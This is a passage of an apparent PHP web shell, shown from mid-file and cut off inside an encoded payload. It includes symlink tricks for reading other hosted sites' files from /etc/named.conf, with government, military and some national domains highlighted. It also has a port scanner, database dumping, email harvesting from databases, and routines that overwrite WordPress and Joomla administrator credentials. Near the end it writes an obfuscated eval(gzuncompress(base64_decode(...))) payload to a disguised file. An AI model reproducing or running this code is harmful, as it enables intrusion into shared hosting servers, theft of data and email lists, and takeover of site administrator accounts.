  1135. $config=" <a href='".$vb2."' target='_blank'>vBulletin</a>";
  1136. }
  1137. elseif (strpos($vb13, "200") == true)
  1138. {
  1139. $config=" <a href='".$vb3."' target='_blank'>vBulletin</a>";
  1140. }
  1141. else
  1142. {
  1143. continue;
  1144. }
  1145. @symlink("/","sym/root");
  1146. $site = $domsws[1][0];
  1147. echo "<tr>
  1148. <td style=\"text-align:center;\">
  1149. <div class='dom'><a target='_blank' href=http://www.".$domsws[1][0]."/>".$site." </a></div></td>
  1150. <td style=\"text-align:center;\">".$user['name']."</td>
  1151. <td style=\"text-align:center;\"><a class='sym' href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a></td>
  1152. <td style=\"text-align:center;\">".$config."</td>
  1153. </tr>";flush();
  1154. }}}}}
  1155.  
  1156. elseif(isset($_GET['x']) && ($_GET['x'] == 'sym2')){ ?>
  1157. <form action="?y=<?php echo $pwd; ?>&amp;x=sym2" method="post">
  1158. <?php
  1159. @set_time_limit(0);
  1160. echo "<center>";
  1161. @mkdir('sym',0777);
  1162. $htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  1163. $write =@fopen ('sym/.htaccess','w');
  1164. fwrite($write ,$htaccess);
  1165. @symlink('/','sym/root');
  1166. $filelocation = basename(__FILE__);
  1167. $read_named_conf = @file('/etc/named.conf');
  1168. if(!$read_named_conf) {
  1169. echo "<pre class=ml1 style='margin-top:5px'># Cant access this file on server -> [ /etc/named.conf ]</pre></center>";
  1170. } else {
  1171. echo "<br><br>
  1172. <div class='tmp'>
  1173. <table border='1' bordercolor='#FF0000' width='500' cellpadding='1' cellspacing='0'>
  1174. <td align='center'><b>_DOMAINS_</b></td>
  1175. <td align='center'><b>_USERS_</b></td>
  1176. <td align='center'><b>_SYMLINK_</b></td>";
  1177. foreach($read_named_conf as $subject){
  1178. if(eregi('zone',$subject)){
  1179. preg_match_all('#zone "(.*)"#',$subject,$string);
  1180. flush();
  1181. if(strlen(trim($string[1][0])) >2){
  1182. $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0]));
  1183. $name = $UID['name'] ;
  1184. @symlink('/','sym/root');
  1185. $name = $string[1][0];
  1186. $iran = '\.ir';
  1187. $israel = '\.il';
  1188. $indo = '\.id';
  1189. $sg12 = '\.sg';
  1190. $edu = '\.edu';
  1191. $gov = '\.gov';
  1192. $gose = '\.go';
  1193. $gober = '\.gob';
  1194. $mil1 = '\.mil';
  1195. $mil2 = '\.mi';
  1196. if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0])
  1197. or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0]))
  1198. {
  1199. $name = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$string[1][0].'</div>';
  1200. }
  1201. echo "<tr><td>
  1202. <div class='dom'><center><a target='_blank' href=http://www.".$string[1][0].'/>'.$name.' </a></center></div></td>
  1203. <td><center>'.$UID['name']."</center>
  1204. </td>
  1205. <td><center>
  1206. <a href='sym/root/home/".$UID['name']."/public_html' target='_blank'>Symlink </a></center>
  1207. </td></tr></div>";
  1208. flush();
  1209. }}}}
  1210. echo "</center></table>";
  1211. }
  1212.  
  1213. elseif(isset($_GET['x']) && ($_GET['x'] == 'port'))
  1214. {
  1215. ?>
  1216. <form action="?y=<?php echo $pwd; ?>&x=port" method="post">
  1217. <?php
  1218. echo '<br><br><center><br><br>';
  1219. $start = strip_tags($_POST['start']);
  1220. $end = strip_tags($_POST['end']);
  1221. $host = strip_tags($_POST['host']);
  1222. if(isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])){
  1223. for($i = $start; $i<=$end; $i++){
  1224. $fp = @fsockopen($host, $i, $errno, $errstr, 3);
  1225. if($fp){
  1226. echo 'Port '.$i.' is <font color=green>open</font><br>';
  1227. }
  1228. flush();
  1229. }
  1230. }else{
  1231. echo '<table class=tabnet style="width:300px;padding:0 1px;">
  1232. <input type="hidden" name="y" value="phptools">
  1233. <tr><th colspan="5">Port Scanner</th></center></tr>
  1234. <tr>
  1235. <td>Host</td>
  1236. <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="host" value="localhost"/></td>
  1237. </tr>
  1238. <tr>
  1239. <td>Port start</td>
  1240. <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="start" value="0"/></td>
  1241. </tr>
  1242. <tr><td>Port end</td>
  1243. <td><input type="text" class="inputz" style="width:220px;color:#00ff00;" name="end" value="5000"/></td>
  1244. </tr><td><input class="inputzbut" type="submit" style="color:#00ff00" value="Scan Ports" />
  1245. </td></form></center></table>';
  1246. }
  1247. }
  1248.  
  1249.  
  1250. elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){
  1251. $text = $_POST['code'];
  1252. ?>
  1253. <center><form method="post"><br><br><br>
  1254. <textarea class='inputz' cols=80 rows=5 name="code"></textarea><br><br>
  1255. <select class='inputz' size="1" name="ope">
  1256. <option value="base64">Base64</option>
  1257. <option value="md5">md5</option>
  1258. <option value="whash">Crypt</option>
  1259. <option value="SHA1">SHA1</option>
  1260. <option value="urlencode">URL Encoding</option>
  1261. <option value="md4">md4</option>
  1262. <option value="SHA256">SHA256</option>
  1263. </select>&nbsp;<input class='inputzbut' type='submit' value='encrypt'></form>
  1264.  
  1265. <?php $op = $_POST["ope"];
  1266. switch ($op) {case 'base64':
  1267. $codi=base64_encode($text);
  1268. break;case 'md5' : $codi=md5($text);
  1269. break;case 'whash' : $codi=crypt($text);
  1270. break;case 'SHA1' : $codi=sha1($text);
  1271. break;case 'urlencode' : $codi=urlencode($text);
  1272. break;case 'md4' : $codi=hash("md4",$text);
  1273. break;case 'SHA256' : $codi=hash("sha256",$text);
  1274. break;default:break;}echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center>';
  1275. }
  1276.  
  1277. elseif(isset($_GET['x']) && ($_GET['x'] == 'mysqlbackup'))
  1278. {
  1279. ?>
  1280. <form action="?y=<?php echo $pwd; ?>&amp;x=mysqlbackup" method="post">
  1281.  
  1282. <?php
  1283.  
  1284. echo '<center><br><br><br>
  1285. <table border=1 width=400 style="border-collapse: collapse" cellpadding=2>
  1286. <tr>
  1287. <td width=400 colspan=2 style=\'color:#FF0000;background-color:#000000\'><p align=center>
  1288. <b><font face=Arial size=2 style=\'color:#FF0000;background-color:#000000\'>Backup Database</font></b>
  1289. </td></tr>
  1290. <tr>
  1291. <td width=150 style=\'color:#FF0000;background-color:#000000\'>
  1292. <font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>DB Type:</font></td>
  1293. <td width=250 style=\'color:#FF0000;background-color:#000000\'>
  1294. <form method=post action="'.$me.'">
  1295. <select style=\'color:#FF0000;background-color:#000000\' name=method>
  1296. <option value="gzip">Gzip</option>
  1297. <option value="sql">Sql</option>
  1298. </select></td></tr>
  1299. <tr>
  1300. <td width=150 style=\'color:#FF0000;background-color:#000000\'>
  1301. <font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>Server:</font>
  1302. </td>
  1303. <td width=250 style=\'color:#FF0000;background-color:#000000\'>
  1304. <input type=text name=server style=\'color:#FF0000;background-color:#000000\' value=localhost size=35>
  1305. </td></tr>
  1306. <tr>
  1307. <td width=150 style=\'color:#FF0000;background-color:#000000\'><font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>Username:</font></td>
  1308. <td width=250 style=\'color:#FF0000;background-color:#000000\'><input style=\'color:#FF0000;background-color:#000000\' type=text name=username size=35></td>
  1309. </tr>
  1310. <tr>
  1311. <td width=150 style=\'color:#FF0000;background-color:#000000\'><font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>Password:</font></td>
  1312. <td width=250 style=\'color:#FF0000;background-color:#000000\'><input style=\'color:#FF0000;background-color:#000000\' type=text name=password></td>
  1313. </tr>
  1314. <tr>
  1315. <td width=150 style=\'color:#FF0000;background-color:#000000\'><font face=Arial style=\'color:#FF0000;background-color:#000000\' size=2>Data Base Name:</font></td>
  1316. <td width=250 style=\'color:#FF0000;background-color:#000000\'><input style=\'color:#FF0000;background-color:#000000\' type=text name=dbname></td>
  1317. </tr>
  1318. <tr>
  1319. <td width=400 colspan=2 style=\'color:#FF0000;background-color:#000000\'><center><input style=\'color:#FF0000;background-color:#000000\' type=submit value=" Dump! " ></td>
  1320. </tr>
  1321. </table></form></center></table>';
  1322. if ($_POST['username'] && $_POST['dbname'] && $_POST['method']){
  1323. $date = date("Y-m-d");
  1324. $dbserver = $_POST['server'];
  1325. $dbuser = $_POST['username'];
  1326. $dbpass = $_POST['password'];
  1327. $dbname = $_POST['dbname'];
  1328. $file = "Dump-$dbname-$date";
  1329. $method = $_POST['method'];
  1330. if ($method=='sql'){
  1331. $file="Dump-$dbname-$date.sql";
  1332. $fp=fopen($file,"w");
  1333. }else{
  1334. $file="Dump-$dbname-$date.sql.gz";
  1335. $fp = gzopen($file,"w");
  1336. }
  1337. function write($data) {
  1338. global $fp;
  1339. if ($_POST['method']=='sql'){
  1340. fwrite($fp,$data);
  1341. }else{
  1342. gzwrite($fp, $data);
  1343. }}
  1344.  
  1345. function filesize_n($path)
  1346. {
  1347. $size = @filesize($path);
  1348. if( $size < 0 ){
  1349. ob_start();
  1350. system('ls -al "'.$path.'" | awk \'BEGIN {FS=" "}{print $5}\'');
  1351. $size = ob_get_clean();
  1352. }
  1353.  
  1354. return $size;
  1355. }
  1356. function format_size($size) {
  1357. $sizes = array(" Bytes", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB");
  1358. if ($size == 0) { return('n/a'); } else {
  1359. return (round($size/pow(1024, ($i = floor(log($size, 1024)))), $i > 1 ? 2 : 0) . $sizes[$i]); }
  1360. }
  1361. mysql_connect ($dbserver, $dbuser, $dbpass);
  1362. mysql_select_db($dbname);
  1363. $tables = mysql_query ("SHOW TABLES");
  1364. while ($i = mysql_fetch_array($tables)) {
  1365. $i = $i['Tables_in_'.$dbname];
  1366. $create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
  1367. write($create['Create Table'].";\n\n");
  1368. $sql = mysql_query ("SELECT * FROM ".$i);
  1369. if (mysql_num_rows($sql)) {
  1370. while ($row = mysql_fetch_row($sql)) {
  1371. foreach ($row as $j => $k) {
  1372. $row[$j] = "'".mysql_escape_string($k)."'";
  1373. }
  1374. write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
  1375. }
  1376. }
  1377. }
  1378. if ($method=='sql'){
  1379. fclose ($fp);
  1380. }else{
  1381. gzclose($fp);}
  1382. $sizedatabasefile = filesize_n($file);
  1383. $sizehumanreadable = format_size($sizedatabasefile);
  1384. echo "<br><br>
  1385. <center><font color='#FF0000'>Download Database -&#62; </font>
  1386. <a href='$file'>Here</a>
  1387. <font color='#FF0000'> | DatabaseFileSize -&#62; $sizehumanreadable </font></center>";
  1388. flush();
  1389. }
  1390. }
  1391.  
  1392.  
  1393.  
  1394. elseif(isset($_GET['x']) && ($_GET['x'] == 'mailex'))
  1395. {
  1396. ?>
  1397. <form name="" action="" method="post">
  1398. </br>
  1399. <center>
  1400. <table width="200" border="0">
  1401. <tr>
  1402. <td width="100" bgcolor="#0066CC"><div align="center"><font color="#FFFFFF" >Host :</font></div></td>
  1403. <td width="100"> <input class="inputz" name="dbhost" type="text" value="localhost"></td>
  1404. </tr>
  1405. </table></center>
  1406. <center>
  1407. <table width="500" >
  1408. <tr>
  1409. <td width="100" bgcolor="#0066CC"><div align="center"><font color="red">Database Name</font></div></td>
  1410. <td width="100" bgcolor="#0066CC"><div align="center"><font color="#333">Username</font></div></td>
  1411. <td width="100" bgcolor="#0066CC"><div align="center"><font color="#333">Password</font></div></td>
  1412. <td width="100" bgcolor="#0066CC"><div align="center"><font color="#333">Table</font></div></td>
  1413. <td width="100" bgcolor="#0066CC"><div align="center"><font color="#333">Row</font></div></td>
  1414. </tr>
  1415. <tr>
  1416. <td>
  1417. <input class="inputz" name="dbname" type="text" value="">
  1418. </td>
  1419. <td>
  1420. <input class="inputz" name="dbuser" type="text" value="">
  1421. </td>
  1422. <td>
  1423. <input class="inputz" name="dbpass" type="text" value="">
  1424. </td>
  1425. <td><input class="inputz" name="dbtable" type="text" value=""></td>
  1426. <td><input class="inputz" name="dbrow" type="text" value=""></td>
  1427. </tr>
  1428. </table>
  1429. <p>Display option :
  1430. <label>
  1431. <select class="inputz" name="display" id="display">
  1432. <option selected>Lines</option>
  1433. <option>Separated by ;</option>
  1434. </select>
  1435. </label>
  1436. </p>
  1437. <p><font color="#0066CC">
  1438. <input class="inputz" type="submit" value="Start Grabbing">
  1439. </font>
  1440. </p>
  1441. </center>
  1442. </form>
  1443.  
  1444. <font color="#FFFFFF">
  1445.  
  1446.  
  1447. <?php
  1448.  
  1449. if($_POST['dbuser']&&$_POST['dbpass']&&$_POST['dbname']&&$_POST['dbrow']){
  1450. $dbhost=$_POST['dbhost'];
  1451. $dbuser=$_POST['dbuser'];
  1452. $dbpass=$_POST['dbpass'];
  1453. $dbname=$_POST['dbname'];
  1454. $dbtable=$_POST['dbtable'];
  1455. $dbrow=$_POST['dbrow'];
  1456. $display=$_POST['display'];
  1457. $mail='';
  1458. $sujet='Emails';
  1459. $con=mysql_connect($dbhost,$dbuser,$dbpass);
  1460. if(!$con){
  1461. echo "Connection failed";
  1462. exit;
  1463. }
  1464.  
  1465. $sdb=mysql_select_db($dbname,$con);
  1466. if(!$sdb){
  1467. echo "No database found";
  1468. exit;
  1469. }
  1470. $queryc="select count(*) from " .$dbtable."";
  1471. $selectc=mysql_query($queryc);
  1472. $resultat=mysql_fetch_row($selectc);
  1473. echo "<br><center>You got <font color='red'>" .$resultat[0]. " </font>Emails...</center><br>";
  1474. echo "<center>File : <a href='./emails.txt'>Download(SAVE AS..)</a></center>";
  1475.  
  1476. $query="select * from " .$dbtable."";
  1477. $select=mysql_query($query);
  1478. while($row=mysql_fetch_array($select))
  1479.  
  1480. {
  1481. $email=$row[$dbrow];
  1482. if($email !='' && $display=='Lines'){
  1483. echo $email;
  1484. echo "<br />";
  1485.  
  1486. $monfichier = fopen('emails.txt', 'a+');
  1487. fputs($monfichier, $email);
  1488. fputs($monfichier, ("\n"));
  1489. fclose($monfichier);
  1490. }
  1491. else{
  1492.  
  1493. echo $email;
  1494. echo ";";
  1495. $monfichier = fopen('emails.txt', 'a+');
  1496. fputs($monfichier, $email);
  1497. fputs($monfichier, (";"));
  1498. fclose($monfichier);
  1499. }
  1500. }
  1501. mysql_close($con);
  1502.  
  1503. }
  1504. }
  1505.  
  1506. elseif(isset($_GET['x']) && ($_GET['x'] == 'wp')) {
  1507. echo "<center/><br/>
  1508. <b><font color=blue>[+] Change PASS Admin WP [+]</font></b><br><br>";
  1509.  
  1510. if(empty($_POST['pwd'])){
  1511. echo "<FORM method='POST'>
  1512. <table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
  1513. <input style='width:220px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>
  1514. <input style='width:220px;' class='inputz' type='text' name='database' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>
  1515. <input style='width:220px;' class='inputz' type='text' name='username' value='wp-' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>
  1516. <input style='width:220px;' class='inputz' type='text' name='password' value='**' /></td></tr>
  1517. <tr><td>&nbsp;&nbsp;User baru</td><td>
  1518. <input style='width:220px;' class='inputz' type='text' name='admin' value='admin' /></td></tr>
  1519. <tr><td>&nbsp;&nbsp;Pass Baru</td><td>
  1520. <input style='width:80px;' class='inputz' type='text' name='pwd' value='123456' />&nbsp;
  1521.  
  1522. <input style='width:19%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
  1523. </td></tr> </table><br><br><br><br>
  1524. ";
  1525. }else{
  1526. $localhost = $_POST['localhost'];
  1527. $database = $_POST['database'];
  1528. $username = $_POST['username'];
  1529. $password = $_POST['password'];
  1530. $pwd = $_POST['pwd'];
  1531. $admin = $_POST['admin'];
  1532. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  1533. @mysql_select_db($database) or die(mysql_error());
  1534.  
  1535. $hash = crypt($pwd);
  1536. $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 1") or die(mysql_error());
  1537. $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 1") or die(mysql_error());
  1538. $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 2") or die(mysql_error());
  1539. $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 2") or die(mysql_error());
  1540. $a4s=@mysql_query("UPDATE wp_users SET user_login ='".$admin."' WHERE ID = 3") or die(mysql_error());
  1541. $a4s=@mysql_query("UPDATE wp_users SET user_pass ='".$hash."' WHERE ID = 3") or die(mysql_error());
  1542. $a4s=@mysql_query("UPDATE wp_users SET user_email ='".$SQL."' WHERE ID = 1") or die(mysql_error());
  1543. if($a4s){
  1544. echo "<b>Change Successfully</b> ";
  1545. }
  1546. }
  1547. echo "</div>"; }
  1548.  
  1549.  
  1550.  
  1551. elseif(isset($_GET['x']) && ($_GET['x'] == 'joomla')) {
  1552. echo "<center/><br/><b><font color=blue>[+] Change PASS Admin JOOMLA [+]</font></b><br><br>";
  1553. if(empty($_POST['pwd'])){
  1554. echo "<FORM method='POST'><table class='tabnet' style='width:300px;'> <tr><th colspan='2'>Connect to mySQL </th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>
  1555. <input style='width:270px;' class='inputz' type='text' name='localhost' value='localhost' /></td></tr>
  1556. <tr><td>&nbsp;&nbsp;Database</td><td>
  1557. <input style='width:270px;' class='inputz' type='text' name='database' value='database' /></td></tr>
  1558. <tr><td>&nbsp;&nbsp;username</td><td>
  1559. <input style='width:270px;' class='inputz' type='text' name='username' value='db_user' /></td></tr>
  1560. <tr><td>&nbsp;&nbsp;password</td><td>
  1561. <input style='width:270px;' class='inputz' type='password' name='password' value='**' /></td></tr>
  1562. <tr><td>&nbsp;&nbsp;New User</td><td>
  1563. <input style='width:270px;' class='inputz' name='admin' value='admin' /></td></tr>
  1564. <tr><td>&nbsp;&nbsp;New Pass </td>
  1565. <td>123456 = <input style='width:130px;' class='inputz' name='pwd' value='e10adc3949ba59abbe56e057f20f883e' />&nbsp;</td></tr>
  1566. <tr><td><input style='width:130%;' class='inputzbut' type='submit' value='>>' name='send' /></FORM>
  1567. </td></tr></table><br>";
  1568.  
  1569. }else{
  1570. $localhost = $_POST['localhost'];
  1571. $database = $_POST['database'];
  1572. $username = $_POST['username'];
  1573. $password = $_POST['password'];
  1574. $pwd = $_POST['pwd'];
  1575. $admin = $_POST['admin'];
  1576. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  1577. @mysql_select_db($database) or die(mysql_error());
  1578. $hash = crypt($pwd);
  1579. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 62") or die(mysql_error());
  1580. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 62") or die(mysql_error());
  1581. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 63") or die(mysql_error());
  1582. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 63") or die(mysql_error());
  1583. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 64") or die(mysql_error());
  1584. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 64") or die(mysql_error());
  1585. $SQL=@mysql_query("UPDATE jos_users SET username ='".$admin."' WHERE ID = 65") or die(mysql_error());
  1586. $SQL=@mysql_query("UPDATE jos_users SET password ='".$pwd."' WHERE ID = 65") or die(mysql_error());
  1587. if($SQL){
  1588. echo "<b>Change Successfully";
  1589. }
  1590. }
  1591. echo "</div>"; }
  1592.  
  1593.  
  1594. elseif(isset($_GET['x']) && ($_GET['x'] == 'mysql'))
  1595. {
  1596. if (!is_dir('image')){
  1597. $mk = @mkdir('image',0777);
  1598. @fwrite($f , $c);
  1599. $f2 =@fopen ('image/database.php','w');
  1600. $sml_db =
  1601. "PD9waHAgZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZU5yTlBXdFhHN21TbjJmT21mK2c5UGltN2NFWW16eXZqWjJRUUdZNFE0QUw1TjZkeFY1djIyNURMM2EzMDkwT01CbisrOVpEcjM2WVFKTGRjK2NCTGFsVUpaV2tVbFdwSkg3NjBZL2pLQjdHL2lLSzB5QThyNzZvZFg3NjhYWGlwOE81ZHg2TWh4K1hVZW9udzNnWnBzSGNyemF4T0JvTms5U0wweW9tS25Nc0VGM2hYeTltMGNTdnVzS3RpM2t3amlPcVVTTWdncGVBWE9Pc05SQnI2cnM1QUtDSlB3MUNxSCt5UFR3K1BEd0ZMRWxLVFp0NVk4anU5eUhIM1lBZmt5QU9QVUE5SEw3YjI5OGREbXUxQnVRam5ZME5oV1R2WlBpdnZRUEdBZjlWajM0N0doNmVBQUxNcllsWG9pWGFvaWxxRmwxZFpXZnZlUGZ0NmVIeEg4T1QzYVB0NDIzNEZOMnV3QmJrNE44ZXZnZjQ4Y3hMa3FGL0hTUnBVblV4YnlXQlg0L2VRb1h6UEh2UEYyUEpxRW1RREtmTGNBeDhRcWp4OUh6NHlZdXJMdVI3bzVsUFpXa1FoVW0rS2REQnZZTjNoNEM5K3NpUC9mT2c2aXd1RmtFNGpaeTZ4bHJMTm96R0dRZGdPQXZtUWNxais5T1AweWoydmZGRjFZdGo3NmJxRG4vZGhjRndoMGVISjZmUU15OFJGUmlWajBzL1NXdmlzd0d2Nkd5R3VmUnZSTGNISDUrODJkSW4wR0FxcWxUd3VYa3JIZ0ZMaDY3T1orNVFVbFlCSGlSRGJvUkNBdTI3aFhLSlhPSG1YUDVQRWhsZmVESDBqc1p0bVU1Zk1wMEwzNXY0Y2RVWlIySHFoK242NmMzQ2I0dlV2MDQzTHRMNXJDTmt0UzVVV1gvcEVEbmh6eEsvZ0hNVW5EOTdJRTZzY2hmSzg5SGxBekZDamJzUXpqeFkwcTBINGd5U2FQM2x5MmQvWDk5MEpMZHgrZnF6S2JIN1pQZjRuN3ZIWnk0dXA1UGQvWGZ1QUNaVWFYYmJ5ajU1ZTd4M2REbzgySDYvNitKS3IrQ2NBNUV3WHdCU2xoSTA4ZVRZVFNLUVJNeGxiM3k1WE14dmtvOHpWengrTEI1VkV1K1Q3eVhUWU1ZVGFqS0NEb1ZRWlhRUkpXbGR3TWN5OFdQNldNQ3FwQThVRnZBaGU4aGxJTzVvdmFXNHFxQVZOTTJHMDFtd3FISWVsY1orc3B3Qk04WEhxblB5MitHL0JCVWx4QmxzNmlNSlVST0xxcnQxc2Rsekc5VFlJWW5WS3NpbHJRM01KV1RZYUd3S29CdDVDWDFXRFk5K096MDlHdjZHUzJ6UWNJZnZiMDcrc2QvQWJtTlZPWGp1V3psNEtRMmV0MWpNZ3JHSDBtQmpHVjZHMFZWWUNyMFRKSXNvQ1JBT0txVXByTlU1NUhlRWFsRFhiZWpHc1VqSFBreTgxSU9tdWk3a1hGMUFNYzZ1SmZUckNuSzVsMU0vSFYrb0ZTbzVvZGR6a0FDekpUUFBaRTBROUFPR3NHZzBZSm5ENTNLK0lOaXFnYTNwaGMzMHhyTW80YmtDd2paVnN4UEp5VW5UN2JxTWwzanhXUTBTVHdHbUN5TXpUODZ4WTBjem1FbStDTUxGTWhVTTR1ckY5RDBtRnhGSHhxcTlRWFo2UnRNMzM1elRDNTlHUk54RVMzSGxoYW5ZZ1Y3TUltOUNVL1FLWkdvWWhZUUpSaS9iMHN4RWhjWHFqMU9CTlllSXNPcmFkR0dLeU9sclppOWdnSG83eDRkSDRuVDd6ZjZ1MkhzbmR2OWo3K1QwUktUenhkQUx6LzBaMXdLd3Q4ZTcyNmU3RWxBWGk2cVVMR0wvOE9EWE4vdUhiOFRCNGFrNCtMQy9YOU5WOXcrM2Q4VE85dWsyQUwzZDNoZXdZY0VHTGx5bjRVMG1DZXlpRjM2T1NRM0hCYWpUd3dLNWQzdTcrenNuNG5UMytQM2VBYlJuUjd6NUE3WVRMaDErTmhMbWR1aEgwK0hRRmJzbmI3ZVBKSndyOXZjT2RoOVNuZnRReG1mVjcya2N6VTBEVlpjdHBtYkxjQnZqdGZSNjlXSXlZaWE2eXMrWGZSaGZuakJURDM1T1JFNzJaQ2NJQXFJeUFEVVhYbnFCbjFsTzMwdk1YSzlMVVlIMXoxellQZnd3Z1FKMzhFMkNoN0Vwb1poQjVteVB4LzRpWGQvM3cvUDBvaTJjQm1oelVMdGFrU0tDcE1INEloSXl3eElPZ3Y3OTZjZFhQUlFTVzdqUDlmQTNZTWJmY3grRXowV2FMdFpCYXdrK2RaMjMxdDdvcUhIdE9pczJYa1NSQnVuTTc3My9BNFQxMWdZbklEZEpiMkJVa0h1eThqaEpFSHdVVFc3cTZlVHpGREMzUld0emNTMjI0OENiMVUrOWkyanVkV2FneTYxZitNSDVCUlkvWDF4M29QRU5razljcDFnRk44anpPRnFHay9iUDArbTBNNHBpNEJyVUJzQWttZ1VUOGZQejU4ODdDMWhmSUI3YlVMOGpDV3h1U3Z3ZWFHOFdlaGk5WlJ6NHNUandyMENaZkIrRlViSUFCZnhyU0NINlVTbytNK2o2T0pwRmNmdm5VUlAvemVCN01zRi9PeEpnU3Y5MFZuUTUxMzVQZk9acTR1ZG1jOXBCZnE5UC9IRVUwNHh0QTNvL1JzWVNiUHNpK3VUSHVzSzAyU3hVUUJuTGZKbWxMUUdqSlJ1ZlJvdTIxVlhEZ2ZWUmxLYlIzQzZjVENaWmRyWHdYODJhWndEWmFzS1BaL3kvSXJmNXZjajlIZis5bTl3MEdpK1Q3MFVQL3ZHOHUrbmhvdnRPNVB5LzQ3K3J5ZUc4V2IvaVdUS0taaE9idm9DNUhINjJJY0lvbm5zemhBRTdadjU1N3NYblFkaHVhdlJOTExyWUxDdFFNL0VwRUxYWExtVVFqU1Q0MDIrM01DbW45ck0zejE4K2Y0Y29sN01HeWVOWllGQkxvS2RQbnhieDJkOVkvWE4rNHBKMm9GQzhlUEdpTXdVTklHM1AvR25hQWZzUHJPaWI5bWdXalM4N1Y4RUVSR25yR1RDdHc3VFhZMEtPYkVUa1d4c2t3a2lXamVOZ2tkckM3SCs4VHg3bm9reFQ5cWg0ZStHUEw3ZG5zeXF5VWRtRlZiQmRSZEJ0ZG9JdHpHN0Fqb2s3UU5LWWtUanZCR3RyQklwZ3FCZG5nTTZDZ2R6Ly9BYnB6V2d3amk4dXZSbG94U0RsRzJNa0NSdWZyTWRGS3BjM0FLdUJsV293SVdLeG55N2pVRXhnQlNDZEJ0alp1MHp5emMzZUJLRjRlOVkxenlPUFBxcndDM1dsU3RWVldXNnR3UjhOTWtTN2tPamtBWkxsQ0kxcmlSVjRTOHhENW02b3JRaDNCa0U4N3pwNk5wQTJ2QTdERmkzVDlqUzRoajZKSzFnazZ5T1EySmR0K3JrT1BlYWRpSlZFSE5tdTAybzIvK1lJWGxCZHB3bDdtVCtieVhtcjB5alZaWm9ReE96SDZEb28rRGhyMHR2QzlhSmF4aE9LcGtySDZaMTRVeCsyaDRuZjNucTF1RmdJMm9TQmwrUHBlZFZOb0hBNGgwSlFOMS8xb00rQUJsSENoaHY3MDY1akpsRmJjOWVkUmVmUVZWUlFlL3YwdWJYaDljU1hhb0VLNDAzbVFVajFWSTBOYlB0R0d1TVA1QXhyQUE5Z1V1dFprVXRiaUMrbEFjTWVTMWZKSEFkUitVcElmK24yck9ISFlaOTdsLzVGZ0w0eGxkdmhxdE1vU3FYdHkzb2VsNHUvL2hMcUU4MWcwMFdjdjQra1FZSUdzZnBFYXo4YWV6Tk1vR253U05vcUVvWStwUzMzU0Zvb3NvZytvZWpKaytaemx6eFFJMndaWm0yeGFjUnJIOW8vOFVOSEJKTXVPaEZDVUgwZFFVcWNTZklhY0ZxTzJPaTVzbGZLRHVTRzFtajlTQkpnK0RrMmpiNGswaWNxZlllcjlDVVpLODEwK2s1RjUyejArcUZEUzk2bWlOMldkdGE5U1dJZG02Uk1XeVJsVGpsSnRBc2ZTaExyMkNSbDJpSXBjMWFRUkhQem9TU2hUb1lrcDIyU25GTk9rc3pwQjVMRU9qWkptYlpJeXB3eWtsTHhmaGhOV2NrUU5SbWFxc25TWkhIZS92QkZWMVRlRThYcmwxMUhtSjVYbFlNQjVHSUV2MUt3NzZuWXJkM2xaVkJPQnVWalVDNEc3V0c0di9kcWl1NjExOU5vZ2VZU1duMTE5OHBWTmlXVTF2S3VBOWZ5Y2JsZjVlUDZmL0FjcmZBVjFRWDJTRHVNcHV3cmtubGtaUzdqR1hxVXJUTUZlZEpRZDkwNjhZZGtkZFhkZ2Zhak1Tb3V2RVFrU3pCQWswVHcrSXMwRW5vN2t0WXI0RzI0RHJBdGh0MnY2d3hITXk4RTh4QktFU2V5eDJQdTVKMVlaZzRBMFRlTW4yMTV0MmE3dEdtNGdoQm1CUXR0L2dSY1BJQ1gvZzEwQ3Qyek1LdmxWMHF1VlJvQjdaN1gxY2c5cjd6elVNZTQ1bFZDNFd3d3FnYW1rWTJTZ01wMmNwNGJySTZaTkRXNUJYVzNrK21HUkl6ZFlHUzFiMXdEOCtySHFyTjNjTEo3Zk1xZUl